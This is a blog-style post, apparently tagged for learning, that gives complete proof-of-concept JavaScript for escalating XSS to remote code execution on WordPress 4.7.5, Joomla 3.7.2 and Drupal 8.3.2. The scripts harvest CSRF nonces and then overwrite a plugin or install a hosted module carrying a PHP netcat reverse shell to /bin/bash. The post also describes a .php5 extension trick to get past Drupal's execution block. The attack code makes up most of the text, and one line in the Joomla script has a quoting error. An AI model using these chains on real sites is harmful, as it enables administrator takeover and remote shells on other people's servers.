Compromising CMSes with XSS

CMSes (Content Management Systems) are a perfect target for XSS attacks: with their module installation features and the possibility to know all the requests done by a legit administrator of the system previously, it’s pretty easy to mount a CSRF (Cross-Site Request Forgery) attack against him/her.

By taking the anti-CSRF token/nonce and doing the subsequent requests in behalf of an administrator,

Which can lead to full compromising.

PoCs for the 3 most used CMSes worldwide are below in their latest version until date. In all of them, we set a listener with netcat on port 5855 and use PHP code to execute another netcat instance connecting back to us (reverse shell). If you want or need a different PoC, just change it accordingly (variable “s” in WP’s js code, file “jml.php” in Joomla! and file “dp/dp.php5” in Drupal).

WordPress 4.7.5

For latest WP, code is very straightforward: we first get the nonce by parsing 1st XHR response and then submit it in edition of the plugin “Hello Dolly”, which comes with WordPress. Another plugin can be used, it’s just a matter of fingerprinting the target.

p = '/wordpress/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`nc localhost 5855 -e /bin/bash`;';

a = new XMLHttpRequest();
a.open('GET', p+q, 0);
a.send();

$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&' + q;

b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);

b.onreadystatechange = function(){
   if (this.readyState == 4) {
      fetch('/wordpress/wp-content/plugins/hello.php');
   }
}

Save it as a js file (like “wp-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or emulate it by typing directly in browser console, being logged in as an administrator.

Joomla! 3.7.2

Procedure for Joomla! is a little bit different: we can install a remote module. For this we need a zip file, which needs to contain the following 2 files:

1. jml.xml

<?xml version="1.0" encoding="utf-8"?>
<extension type="module" method="upgrade">
   <files>
      <filename>jml.xml</filename>
      <filename module="jml">jml.php</filename>
   </files>
</extension>

2. jml.php

<?=system('nc localhost 5855 -e /bin/bash');

With that zip file ready, host it and use the following js file changing the “u” variable accordingly:

p = '/joomla/administrator/index.php?';
q = 'option=com_installer&view=install';
u = 'http://localhost/exploits/jml.zip';

a = new XMLHttpRequest();
a.open('GET', p, 0);
a.send();

$ = 'install_directory=/var/www/html/joomla/tmp&install_url=' + 
u + &installtype=url&task=install.install&' +
/[a-zA-Z0-9]{32}=1/.exec(a.responseText);

b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){
   if (this.readyState == 4) {
      fetch('/joomla/modules/jml/jml.php');
   }
}

Save it as a js file (like “jml-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or emulate it by typing directly in browser console, being logged in as an administrator.

Drupal 8.3.2

Drupal is the most complicated of all 3: besides needing the default grab-token-and-submit procedure, exploitation also needs the hosting of a zip or tar.gz file (we choose the latter) and the loading of several js scripts in order to complete the process (?). Thankfully, we only need to add an extra step by grabbing an URL in the 2nd XHR response, editing it a little bit and then loading it within an iframe.

For the tar.gz file we need to create a “dp” folder with these 2 files:

1. dp/dp.info.yml

name: x
type: module
core: 8.x

2. dp/dp.php5

<?=system('nc localhost 5855 -e /bin/bash');

Yes, you’re seeing it right. The PHP file needs the .php5 extension or it won’t work. Drupal forbids the execution of a .php file with a 403 status code response when requesting it later but by using php5 we bypass that. 😉

With that tar.gz file ready, host it and use the following js file changing the “u” variable accordingly:

p = '/drupal/admin/modules/install';
u = 'http://localhost/exploits/dp.tar.gz';

a = new XMLHttpRequest();
a.open('GET', p, 0);
a.send();

$ = 'project_url=' + u + '&form_token=' +
/form_token" value="([^"]*?)"/.exec(a.responseText)[1] + '&form_id=update_manager_install_form';

b = new XMLHttpRequest();
b.open('POST', p, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);

b.onreadystatechange = function() {
   if (this.readyState == 4) {
      o = /URL=([^"]*?)"/.exec(b.responseText)[1].replace(/amp;/g, "");
      i = document.createElement('iframe');
      i.setAttribute = ('style', 'visibility:none');
      i.src = o.replace("do_nojs", "start");
      document.body.appendChild(i);
      setTimeout(function(){fetch('/drupal/modules/dp/dp.php5')}, 1000);
   }
}

Save it as a js file (like “dp-rce.js”) and call it with jQuery’s $.getScript() function in an actual XSS attack/PoC or by emulate it by typing directly in browser console, being logged in as an administrator.

That’s it. Here is a fast-paced video showing all 3 exploits above working!

#hack2learn